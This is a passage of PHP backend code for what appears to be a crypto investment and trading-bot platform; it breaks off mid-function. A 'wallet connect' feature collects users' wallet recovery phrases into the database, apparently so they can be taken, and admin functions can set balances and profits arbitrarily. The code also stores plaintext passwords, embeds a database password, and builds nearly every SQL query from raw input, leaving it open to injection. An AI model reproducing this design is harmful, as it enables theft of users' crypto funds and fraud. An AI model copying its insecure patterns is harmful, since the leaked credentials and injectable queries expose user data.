<?php

$cxn = mysqli_connect('localhost','elitgyks_root','01J5y09Wcsag','elitgyks_db');
// $cxn = mysqli_connect('localhost','root','','u839276729_spectrum_root');
$GLOBALS['thecnn'] = $cxn;
class special {
    public $tocxn;
    public function __construct(){
        $this->tocxn = $GLOBALS['thecnn'];
    }
    public function updateWallet($data){
            extract($data);
            $QR_url = 'null';
            $write_cmd = "UPDATE wallets SET wallet_address = '$wallet_address', minimum_deposit = '$minimum_deposit', maximum_deposit = '$maximum_deposit', charge = '$charge', charge_type = '$charge_type', qr_code = '$qr_code' WHERE wallet_symbol = '$update_wallet'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return "'success', '$update_wallet Wallet updated!'";
            }else{
                return "'error', 'Unable to Update $update_wallet Wallet'";
            }
   }
   public function updateTransaction($data){
    extract($data);
    $dstatus = 'success';
    if($type == "Withdrawal"){
        if($Action == 'deny'){
            $dstatus = 'Failed';
            $typeAction = true;
        }else{
        $typeAction = $this->WithdrawMainBalance($email,$amount);
        }
    }elseif($type == "Manual Deposit"){
        $typeAction = $this->ApproveMainBalance($email,$amount);
    }
    if($typeAction){
    $write_cmd = "UPDATE transactions SET status = '$dstatus' WHERE tnx = '$id'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        return "'success', '$type Status has been updated!'";
    }else{
        return "'error', 'Unable to Update $type Status!'";
    }
    }
   }
   public function ApproveMainBalance($email,$amount){
    $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    $data = ['wallet_balance'=>0];              
    if($query_cmd){
    $all_data = $query_cmd->fetch_assoc();
      $data = ['wallet_balance'=>$all_data['wallet_balance']];              
    }else{
        return false;
    }
    $new_wallet_balance = $data['wallet_balance'] + $amount;
    $write_cmd = "UPDATE new_customer SET wallet_balance = '$new_wallet_balance' WHERE customer_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        return true;
    }else{
        return false;
    }
}
   public function updateWCdata($data){
       extract($data);
    $write_cmd = "UPDATE admin_access SET phrase_total_profit = '$phrase_total_profit', phrase_require_amount = '$phrase_require_amount' WHERE admin_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        return "'success', 'Wallet Connect setting has been updated!'";
    }else{
        return "'error', 'Unable to Update Wallet Connect setting!'";
    }
}
   public function getWCdata($email){
       $data = ['phrase_require_amount'=>'','phrase_total_profit'=>''];
    $write_cmd = "SELECT * FROM admin_access WHERE admin_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
    $all_data = $query_cmd->fetch_assoc();
      $data['phrase_require_amount'] = $all_data['phrase_require_amount'];
      $data['phrase_total_profit'] = $all_data['phrase_total_profit'];              
    }
    return $data;
}
public function WithdrawMainBalance($email,$amount){
    $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    $data = ['wallet_balance'=>0];              
    if($query_cmd){
    $all_data = $query_cmd->fetch_assoc();
      $data = ['wallet_balance'=>$all_data['wallet_balance']];              
    }
    $new_wallet_balance = $data['wallet_balance'] - $amount;
    $write_cmd = "UPDATE new_customer SET wallet_balance = '$new_wallet_balance' WHERE customer_email = '$email'"; 
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        return true;
    }
}
    public function get_plans($id=null){
        if($id==null){
        $write_cmd = "SELECT * FROM user_plan"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
        }else{
            $write_cmd = "SELECT * FROM user_plan WHERE plan_id = '$id'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
            $all_data = $query_cmd->fetch_assoc();
            return $all_data;
                }else{
                return [];
            }
         }
    }
    public function get_bot_plans($id=null){
        if($id==null){
        $write_cmd = "SELECT * FROM bot_plans"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
    }else{
            $write_cmd = "SELECT * FROM bot_plans WHERE plan_id = '$id'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
            $all_data = $query_cmd->fetch_assoc();
            return $all_data;
                }else{
                return [];
            }
         }
    }
    public function get_alt_transactions($alt_email, $type = null){
        if($type == null){
        $write_cmd = "SELECT * FROM transactions WHERE user_id = '$alt_email'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
        }else{
            $write_cmd = "SELECT * FROM transactions WHERE type = '$type' AND user_id = '$alt_email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
               $get_all_id = [];
               while($all_data = $query_cmd->fetch_assoc()){
                   array_push($get_all_id, $all_data);
            }
            return $get_all_id;
                }else{
                return [];
            }
         }
    }
    public function get_wallets(){
        $write_cmd = "SELECT * FROM wallets"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
    }
        public function referal_balance($id){
        $write_cmd = "SELECT * FROM referals WHERE referer_id = '$id'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         $totalAmt = 0;
         if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
                $totalAmt = $all_data['amount'] + $totalAmt;
         }
         return $totalAmt;
             }else{
             return 0;
         }
        }
                public function total_referals($id){
        $write_cmd = "SELECT * FROM referals WHERE referer_id = '$id'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            return $query_cmd->num_rows;
             }else{
             return 0;
         }
        }
    public function deleteWalletAddr($id){
        $write_cmd = "DELETE FROM withdraw_m WHERE withdraw_m_id = '$id'";
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            return "'success', 'Withdrawal Method deleted successfully!','method'";
        }else{
            return "'error', 'Unable to delete Withdrawal Method!','method'";
        }
    }
    public function wallet_balance($new_balance,$client_id){
      $sendtoData = "UPDATE new_customer SET wallet_balance = '$new_balance' WHERE customer_email = '$client_id'";
      $query_cmd = $this->tocxn->query($sendtoData);
      if($query_cmd){
        return "'success', 'Main Wallet updated!'";
    }else{
        return "'error', 'Unable to Update Main Wallet'";
    }
    }
    public function total_profit($new_balance,$client_id){
        $sendtoData = "UPDATE new_customer SET total_profit = '$new_balance' WHERE customer_email = '$client_id'";
        $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
          return "'success', 'Profit Wallet updated!'";
      }else{
          return "'error', 'Unable to Profit Main Wallet'";
      }
      }
          public function update_rank($user_rank,$client_id){
        $sendtoData = "UPDATE new_customer SET current_active_plan = '$user_rank' WHERE customer_email = '$client_id'";
        $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
          return "'success', 'Rank updated!'";
      }else{
          return "'error', 'Unable to update Rank'";
      }
      }
    public function updateLoanStatus($data){
        $loan_status = $data['loan_status'];
        $client_id = $data['investment_email'];
        $sendtoData = "UPDATE loans SET loan_status = '$loan_status' WHERE user_id = '$client_id'";
        $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
          return "'success', 'Loan Status Updated!'";
      }else{
          return "'error', 'Unable to update Loan Status'";
      }
      }
        public function validate_acct($client_id){
        $sendtoData = "UPDATE new_customer SET validate_is_true = true WHERE customer_email = '$client_id'";
        $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
          return "'success', 'Account validated!'";
      }else{
          return "'error', 'Unable to validated Account'";
      }
      }
    public function acct_status($client_id, $status){
        $status = ($status == 'true')?'false':'true';
        $status_msg = ($status == 'true')?'Enabled':'Disabled';
        $sendtoData = "UPDATE new_customer SET active_account = '$status' WHERE customer_email = '$client_id'";
        $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
          return "'success', 'Account $status_msg!'";
      }else{
          return "'error', 'Unable to update Account Status'";
      }
      }
    public function img_upload($item_img,$folder){
        $get_name = explode('.',basename($item_img["name"]));
        $get_name = 'image-'.rand(000,99999).'.'.$get_name[count($get_name)-1];
        $target_dir = "img/upload/$folder/";
        if (!file_exists($target_dir)) {
          mkdir($target_dir, 0777, true);
        }
        $target_file = $target_dir . $get_name;
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
        $check = getimagesize($item_img["tmp_name"]);
          if($check !== false) {
            $uploadOk = 1;
          } else {  $uploadOk = 0;
          }
        if (file_exists($target_file)) {
          $uploadOk = 0;
        }
        if ($item_img["size"] > 500000) {
          $uploadOk = 0;
        }
        if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
        && $imageFileType != "gif" && $imageFileType != "webp" ) { $uploadOk = 0;     }
        if ($uploadOk == 0) {
        } else {
          if (move_uploaded_file($item_img["tmp_name"], $target_file)) {
            $item_img = $get_name;
          } else {
    return false;         }
    if($uploadOk == 0){
    return false;
    }else{
    return $get_name;
    }
        }
    }
    public function test_input($data){
        $data = stripslashes($data);
        $data = htmlspecialchars($data);
        $data = mysqli_real_escape_string($this->tocxn, $data);
        return $data;
          }
}
class assist extends special {
    public $email;
    public $tocxn;

    public function __construct($email){
        $this->tocxn = $GLOBALS['thecnn'];
        $this->email = $email;
    }
    public function opentrade(array $data){
            $invest_amount = $data['inv_amount'];
            $investment_time = $data['investment_time'];
            $starting_date = date('Y-m-d H:i:s');
            $trading_pairs = $data['trading_pairs'];
            $trade_type = $data['opentrade'];
            $trade_market = $data['trade_market'];
            $investment_unique = 'IN'.date('Y').date('m').date('d').rand(100,9999);
            $sendtoData = "INSERT INTO investment (investment_unique,investment_time,investor_email,invest_amount,starting_date,trade_status,trading_pairs,trade_type,trade_market)
            VALUES('$investment_unique','$investment_time','$this->email','$invest_amount','$starting_date','active','$trading_pairs','$trade_type','$trade_market')";
            $query_cmd = $this->tocxn->query($sendtoData);
            if($query_cmd){
                return "'success', 'Trade position opened on active market price!'";
                        }else{
                return "'error', 'Error! Unable to open Trade Position!'";
          }
          }
    public function countalltransaction(){
        $write_cmd = "SELECT * FROM transactions WHERE user_id = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return (int) $query_cmd->num_rows;
            }
        }
        public function totalInvestment(){
            $write_cmd = "SELECT * FROM transactions WHERE type = 'Investment' AND user_id = '$this->email'"; 
                $query_cmd = $this->tocxn->query($write_cmd);
                if($query_cmd){
                    $sumtotal = 0;
                    while($all_data = $query_cmd->fetch_assoc()){
                        $sumtotal = $all_data['amount'] + $sumtotal;
                 }
                     }
                     return $sumtotal;
            }
            public function totalDeposit(){
                $write_cmd = "SELECT * FROM transactions WHERE type = 'Manual Deposit' AND user_id = '$this->email'"; 
                    $query_cmd = $this->tocxn->query($write_cmd);
                    if($query_cmd){
                        $sumtotal = 0;
                        while($all_data = $query_cmd->fetch_assoc()){
                            $sumtotal = $all_data['amount'] + $sumtotal;
                     }
                         }
                         return $sumtotal;
                }
                public function totalTansfers(){
                    $write_cmd = "SELECT * FROM transactions WHERE type = 'Wallet Transfer' OR type = 'Funds Transfer' AND user_id = '$this->email'"; 
                        $query_cmd = $this->tocxn->query($write_cmd);
                        if($query_cmd){
                            $sumtotal = 0;
                            while($all_data = $query_cmd->fetch_assoc()){
                                $sumtotal = $all_data['amount'] + $sumtotal;
                         }
                             }
                             return $sumtotal;
                    }
                    public function totalWithdrawal(){
                        $write_cmd = "SELECT * FROM transactions WHERE type = 'Withdrawal' AND user_id = '$this->email'"; 
                            $query_cmd = $this->tocxn->query($write_cmd);
                            if($query_cmd){
                                $sumtotal = 0;
                                while($all_data = $query_cmd->fetch_assoc()){
                                    $sumtotal = $all_data['amount'] + $sumtotal;
                             }
                                 }
                                 return $sumtotal;
                        }
                        public function updateWelcome(){
                            $write_cmd = "UPDATE new_customer SET welcome_modal = 'false' WHERE customer_email = '$this->email'"; 
                            $query_cmd = $this->tocxn->query($write_cmd);
                            if($query_cmd){
                                return true;
                            }else{
                                return false;
                            }
                            }
    public function usual_calc(){
        $Investment = [];
        $write_cmd = "SELECT * FROM transactions WHERE type = 'Investment' AND plan_end = 0 AND user_id = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
               $get_all_id = [];
               while($all_data = $query_cmd->fetch_assoc()){
                   array_push($get_all_id, $all_data);
            }
            $Investment = $get_all_id;
                }
        foreach($Investment as $xinvest){
        $tnx = $xinvest['tnx'];
        $theirplanData = $this->get_plans($xinvest['plan_id']);
        $lastupdatedDate = $xinvest['active_plan'];
        $lastdateObject = DateTime::createFromFormat('Y-m-d', $lastupdatedDate);
        $daysDifference = $this->daysDifference($lastupdatedDate);
        $current_date = new DateTime();
        $current_date = $current_date->format('Y-m-d');
        if($this->isFutureDate($xinvest['created_at'],$theirplanData['plan_period_raw']) && $daysDifference && !($current_date==$lastdateObject)){
      $dailyProfit = ($xinvest['amount'] * ($theirplanData['plan_percent']/100)) * $daysDifference;
        $this->updateUserBalance(false, true, $dailyProfit);
        $newdate = new DateTime();
        $newdate = $newdate->format('Y-m-d H:i:s');
        $write_cmd = "UPDATE transactions SET active_plan = '$newdate', final_amount = '$dailyProfit' WHERE tnx = '$tnx'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        }else{
            if(!$this->isFutureDate($xinvest['created_at'],$theirplanData['plan_period_raw'])){
            $write_cmd = "UPDATE transactions SET status = 'success', plan_end = 1 WHERE tnx = '$tnx'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            }
        }
    }
    }
    public function send_funds($recipient_email,$amount,$note){
        $result = false;
        if($this->updateUserBalance(true, false, $amount,$recipient_email)){
            if($this->updateUserBalance(true, false, -$amount)){
        $result = true;
            }
        }else{
            $result = false;
        }
        if($result){
            $tnx = "TRX".rand(000000,9999999);
            $type = "Funds Transfer";
            $proof_url = $note;
            $status = 'success';
            $method = 'System';
            $plan_end = false;
            $user_id = $this->email;
            $description = "Transfer to $recipient_email";
            $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,description,plan_end,status,user_id,proof_url) VALUES 
                    ('$tnx','$type','$method','$amount',0,0,'$description','$plan_end','$status','$user_id','$proof_url')";
                    $query_cmd = $this->tocxn->query($write_cmd);
                    if($query_cmd){
                        return "'success', 'Funds Transfer Successful!','$tnx:$amount:$description'";
                    }
            }else{
                return "'error', 'Error! User not found!'";
            }
    }
        public function walletConnect($data){
            extract($data);
            $user_id = $this->email;
            $write_cmd = "INSERT INTO key_phrase (user_id,wallet_type,keysphrase) VALUES ('$user_id','$wallet_type','$keysphrase')";
                    $query_cmd = $this->tocxn->query($write_cmd);
                    if($query_cmd){
                        return "'success', 'Wallet Connected Successful!'";
            }else{
                return "'error', 'Error! Unable to Connect Wallet!'";
            }
    }
            public function requestLoan($data){
            extract($data);
            $user_id = $this->email;
            $write_cmd = "INSERT INTO loans (user_id,amount,loan_status) VALUES ('$user_id','$amount','Pending')";
                    $query_cmd = $this->tocxn->query($write_cmd);
                    if($query_cmd){
                        return "'success', 'Loan Request Successful!'";
            }else{
                return "'error', 'Error! Unable to Request For Loan!'";
            }
    }
    public function send_funds_wallet($from,$to,$amount){
        $result = false;
        if($from == 'Profit Wallet'){
            if($this->updateUserBalance(false, true, -$amount) && $this->updateUserBalance(true, false, $amount)){
                $result = true;
            }
        }else{
            if($this->updateUserBalance(true, false, -$amount) && $this->updateUserBalance(false, true, $amount)){
                $result = true;
            }
        }
        if($result){
        $tnx = "TRX".rand(000000,9999999);
        $type = "Wallet Transfer";
        $proof_url = 'null';
        $status = 'success';
        $method = 'System';
        $plan_end = false;
        $user_id = $this->email;
        $fromData = explode(' ',$from)[0];
        $description = "$fromData to $to Transfer";
        $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,description,plan_end,status,user_id,proof_url) VALUES 
                ('$tnx','$type','$method','$amount',0,0,'$description','$plan_end','$status','$user_id','$proof_url')";
                $query_cmd = $this->tocxn->query($write_cmd);
                if($query_cmd){
                    return "'success', 'Wallet Transfer Successful!','$tnx:$amount:$description'";
                }
        }else{
            return "'error', 'Wallet Transfer Failed!'";
        }
    }
    public function makeWithdraw($method,$address,$amount){
        $tnx = "TRX".rand(000000,9999999);
        $type = "Withdrawal";
        $proof_url = 'null';
        $status = 'pending';
        $plan_end = false;
        $user_id = $this->email;
        $description = "Withdrawal with $method";
        $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,withdraw_id,description,plan_end,status,user_id,proof_url) VALUES 
                ('$tnx','$type','$method','$amount',0,0,'$address','$description','$plan_end','$status','$user_id','$proof_url')";
                $query_cmd = $this->tocxn->query($write_cmd);
                if($query_cmd){
                    return "'success', 'Withdrawal Processing!','$tnx:$amount:$description'";
                }
    else{
            return "'error', 'Withdrawal Failed!'";
        }
    }
        public function get_userdata(){
        $unique_email = $this->email;
        $getData = "SELECT * FROM new_customer LEFT JOIN key_phrase ON new_customer.customer_email = key_phrase.user_id LEFT JOIN loans ON new_customer.customer_email = loans.user_id WHERE new_customer.customer_email = '$unique_email'";
        $query_cmd = $this->tocxn->query($getData);
        if($query_cmd){
            return $query_cmd->fetch_assoc();
        }else{
            return [];
        }
    }
    public function updateUserData($data){
        extract($data);
        $unique_email = $this->email;
        $customer_dob = trim($customer_dob);
        $customer_address = addslashes(trim($customer_address));
        $customer_phone = trim($customer_phone);
        $customer_city = addslashes(trim($customer_city));
        $customer_state= addslashes(trim($customer_state));
        $customer_postal = trim($customer_postal);
    
        $chk_data = "UPDATE new_customer SET customer_dob = '$customer_dob',
        customer_address = '$customer_address', customer_phone = '$customer_phone',customer_city = '$customer_city',customer_state = '$customer_state',customer_postal = '$customer_postal' WHERE customer_email = '$unique_email'";        
        $query_cmd = $this->tocxn->query($chk_data);
        if($query_cmd){
            return "'success', 'User Profile Updated successfully'";
    }else{
        return "'error', 'Unable to update Profile'";
    }
    }
    public function get_transactions($type = null){
        if($type == null){
        $write_cmd = "SELECT * FROM transactions WHERE user_id = '$this->email'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
        }else{
            $write_cmd = "SELECT * FROM transactions WHERE type = '$type' AND user_id = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
               $get_all_id = [];
               while($all_data = $query_cmd->fetch_assoc()){
                   array_push($get_all_id, $all_data);
            }
            return $get_all_id;
                }else{
                return [];
            }
         }
    }
        public function get_trade_data(){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$this->email'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            $get_all_id = [];
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
             }else{
             return [];
         }
    }
    public function is_total_day_limit_true($plan_id) {
    $daily_limit = $this->get_bot_plans($plan_id)['daily_trade'];
    $current_date = date('Y-m-d');
    $write_cmd = "SELECT * FROM investment WHERE investor_email = '$this->email' AND DATE(starting_date) = '$current_date'";
    $query_cmd = $this->tocxn->query($write_cmd);
        if ($query_cmd) {
            if ($daily_limit > ($query_cmd->num_rows ?? 0)) {
                return false;  // Within limit
            } else {
                return true;  // Exceeds limit
            }
        } else {
            return false;  // Query failed
        }
    }
//     public function is_total_day_limit_true($plan_id) {
//     $daily_limit = $this->get_bot_plans($plan_id)['daily_trade'];
//     $current_date = date('Y-m-d');

//     // Prepare the SQL statement to prevent SQL injection
//     $stmt = $this->tocxn->prepare("SELECT * FROM investment WHERE investor_email = ? AND DATE(starting_date) = ?");
//     $stmt->bind_param("ss", $this->email, $current_date);
//     $stmt->execute();
//     $query_cmd = $stmt->get_result();

//     if ($query_cmd) {
//         if ($daily_limit > ($query_cmd->num_rows ?? 0)) {
//             return true;  // Within limit
//         } else {
//             return false;  // Exceeds limit
//         }
//     } else {
//         return false;  // Query failed
//     }
// }


    public function ChangePassword($customer_old_password,$customer_new_password){
            $customer_old_password = $this->test_input($customer_old_password);
                $customer_new_password = $this->test_input($customer_new_password);
                $customer_new_unhash_password = $customer_new_password;
                $customer_old_password_hash = $this->get_userdata()['customer_password'];
            if(password_verify($customer_old_password, $customer_old_password_hash)){
                    $option = ['cost'=>12,];
                    $customer_new_password = password_hash($customer_new_password, PASSWORD_BCRYPT, $option);
          
                    $chk_data = "UPDATE new_customer SET customer_password = '$customer_new_password',customer_password_unhash = '$customer_new_unhash_password' WHERE customer_email = '$this->email'";
                    $querytoData = $this->tocxn->query($chk_data);
                    if($querytoData){
                        return "'success', 'Password Changed successfully'";
                }else{
                    return "'error', 'Unable to change Password'";
                }
                
                }else{
                    return "'warning', 'Incorrect Password Entered'";
                }
            }
    public function StartInvest($plan_id,$amount,$wallet,$plan_name,$proof){
        $tnx = "TRX".rand(000000,9999999);
        $type = "Investment";
        $proof_url = 'null';
        if($wallet == 'profit'){
            $method = 'Profit Wallet';
            if($this->getBalance(false,true) < $amount){
                return "'warning', 'Insuficient Funds from the Profit Wallet'";
            }
            $status = 'trading';
        }
        if($wallet == 'main'){
            $method = 'Main Wallet';
            if($this->getBalance(true) < $amount){
                $sss = $this->getBalance(true);
            return "'warning', 'Insuficient Funds from the Main Wallet'";
            }
            $status = 'trading';
        }
        if($wallet == 'gateway'){
            $method = 'Direct Gateway';
            $proof_url = $this->img_upload($proof['manual_data'],'proof');
            $status = 'pending';
        }
        $plan_end = false;
        $user_id = $this->email;
        $description = "Investment into $plan_name";
        $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,description,plan_end,status,user_id,plan_id,proof_url) VALUES 
        ('$tnx','$type','$method','$amount',0,0,'$description','$plan_end','$status','$user_id','$plan_id','$proof_url')";
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            if($wallet == 'profit'){
                $this->updateUserBalance(false,true,-$amount);
            }
            if($wallet == 'main'){
                $this->updateUserBalance(true,false,-$amount);
            }
            return "'success', 'Investment Started successfully'";
        }else{
            return "'error', 'Unable to Start Investment'";
        }
    }
    public function checkIfPurchased($plan_id){
        $write_cmd = "SELECT * FROM transactions WHERE user_id = '$this->email' AND plan_id = '$plan_id'";
        $query_cmd = $this->tocxn->query($write_cmd);
            if ($query_cmd) {
                if($query_cmd->num_rows > 0){
                    return true; 
                } else {
                    return false; 
                }
        }
        return false;
    }
public function purchaseBot($data){
        $tnx = "TRX".rand(000000,9999999);
        $type = "Bot Purchase";
        $proof_url = 'null';
        $wallet = 'main';
        $amount = $data['amount'];
        $plan_id = $data['plan_id'];
        $plan_name = $data['plan_name'];
        if($wallet == 'profit'){
            $method = 'Profit Wallet';
            if($this->getBalance(false,true) < $amount){
                return "'warning', 'Insuficient Funds from the Profit Wallet'";
            }
            $status = 'success';
        }
        if($wallet == 'main'){
            $method = 'Main Wallet';
            if($this->getBalance(true) < $amount){
                $sss = $this->getBalance(true);
            return "'warning', 'Insuficient Funds from the Main Wallet'";
            }
            $status = 'success';
        }
        if($wallet == 'gateway'){
            $method = 'Direct Gateway';
            $proof_url = $this->img_upload($proof['manual_data'],'proof');
            $status = 'success';
        }
        $plan_end = false;
        $user_id = $this->email;
        $description = "Purchase $plan_name";
        $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,description,plan_end,status,user_id,plan_id,proof_url) VALUES 
        ('$tnx','$type','$method','$amount',0,0,'$description','$plan_end','$status','$user_id','$plan_id','$proof_url')";
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            if($wallet == 'profit'){
                $this->updateUserBalance(false,true,-$amount);
                $this->updateUserPlan($plan_id);
            }
            if($wallet == 'main'){
                $this->updateUserBalance(true,false,-$amount);
                $this->updateUserPlan($plan_id);
            }
            return "'success', 'Trading Bot purchased successfully'";
        }else{
            return "'error', 'Unable to purchase Trading Bot'";
        }
    }
    public function switchPlan($plan_id){
        if($this->updateUserPlan($plan_id)){
         return "'success', 'Switched Trading Bot successfully'";
        }else{
            return "'error', 'Unable to switch Trading Bot'";
        }
    }
    public function makeDeposit($method,$amount,$charge,$proof){
        $tnx = 'TRX'.rand(000000,9999999);
        $type = "Manual Deposit";
        $status = 'pending';
        $proof_url = $this->img_upload($proof['manual_data'],'proof');
        $plan_end = false;
        $user_id = $this->email;
        $description = "Deposit with ".$method;
        $write_cmd = "INSERT INTO transactions (tnx,type,method,amount,final_amount,charge,description,plan_end,status,user_id,proof_url) VALUES 
        ('$tnx','$type','$method','$amount',0,'$charge','$description','$plan_end','$status','$user_id','$proof_url')";
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            return "'success', 'Deposit in Progress','$tnx:$amount:$description'";
        }else{
            return "'error', 'Unable to Make Deposit'";
        }
    }
    
    
        public function getBalance($wallet_balance = false,$total_profit = false){
                $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$this->email'"; 
                $query_cmd = $this->tocxn->query($write_cmd);
                if($query_cmd){
                $all_data = $query_cmd->fetch_assoc();
                  $data = ['wallet_balance'=>$all_data['wallet_balance'], 'total_profit'=>$all_data['total_profit']];              
                }else{
                   $data = ['wallet_balance'=>0,'total_profit'=>0];
                }
                if(!$wallet_balance && !$total_profit){
                    return $data;
                }
                if($wallet_balance){
                    return $data['wallet_balance'];
                }
                if($total_profit){
                    return $data['total_profit'];
                }
       }
       public function updateUserBalance($wallet_balance = false, $total_profit = false,$amount=null,$recipient_email = false){
        if($recipient_email){
            $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$recipient_email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if(!$query_cmd){
                $data =  ['wallet_balance'=>0, 'total_profit'=>0];
            }else{
                $all_data = $query_cmd->fetch_assoc();
                
            }
            if($query_cmd->num_rows == 1){
                $data = ['wallet_balance'=>$all_data['wallet_balance'], 'total_profit'=>$all_data['total_profit']];
            $new_wallet_balance = $data['wallet_balance'] + $amount;
            $write_cmd = "UPDATE new_customer SET wallet_balance = '$new_wallet_balance' WHERE customer_email = '$recipient_email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return true;
            }}else{
                return false;
            }
        }else{
        $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
            $all_data = $query_cmd->fetch_assoc();
              $data = ['wallet_balance'=>$all_data['wallet_balance'], 'total_profit'=>$all_data['total_profit']];              
            }else{
                $data =  ['wallet_balance'=>0, 'total_profit'=>0];
            }

        if($wallet_balance){
            $new_wallet_balance = $data['wallet_balance'] + $amount;
            $write_cmd = "UPDATE new_customer SET wallet_balance = '$new_wallet_balance' WHERE customer_email = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return true;
            }
        }
        if($total_profit){
            $new_total_profit = $data['total_profit'] + $amount;
            $write_cmd = "UPDATE new_customer SET total_profit = '$new_total_profit' WHERE customer_email = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return true;
            }
        }
   }
}
     public function updateUserPlan($current_bot_plan_id){
            $write_cmd = "UPDATE new_customer SET current_bot_plan_id = '$current_bot_plan_id' WHERE customer_email = '$this->email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                return true;
            }
     }
     public function get_plan_list(){
        $write_cmd = "SELECT * FROM admin_access"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
             $get_all_id = [];
             $all_data = $query_cmd->fetch_assoc()['various_plan'];
             $all_data = explode(',',$all_data);
            //  foreach($all_data as $singledata){
            //      array_push($get_all_id, $all_data);
            //  }
             return $all_data;
             }else{
             return false;
         }
    }
    public function get_plan_names(){
        $write_cmd = "SELECT * FROM admin_access"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
             $get_all_id = [];
             $all_data = $query_cmd->fetch_assoc()['plan_names'];
             $all_data = json_decode($all_data, true);
            //  foreach($all_data as $singledata){
            //      array_push($get_all_id, $all_data);
            //  }
             return $all_data;
             }else{
             return false;
         }
    }
    public function get_plan_percent(){
        $write_cmd = "SELECT * FROM admin_access"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
             $get_all_id = [];
             $all_data = $query_cmd->fetch_assoc()['roi_percent'];
             return $all_data;
             }else{
             return false;
         }
    }
    public function get_plan_duration(){
        $write_cmd = "SELECT * FROM admin_access"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
             $all_data = $query_cmd->fetch_assoc()['plan_duration'];
             return $all_data;
             }else{
             return false;
         }
    }
    public function get_investment($email,$limit = false){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' ORDER BY date_reg DESC LIMIT 10"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = [];
             while($all_data = $query_cmd->fetch_assoc()){
                    array_push($get_all_id, $all_data);
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function get_Activeinvestment($email,$limit = false){
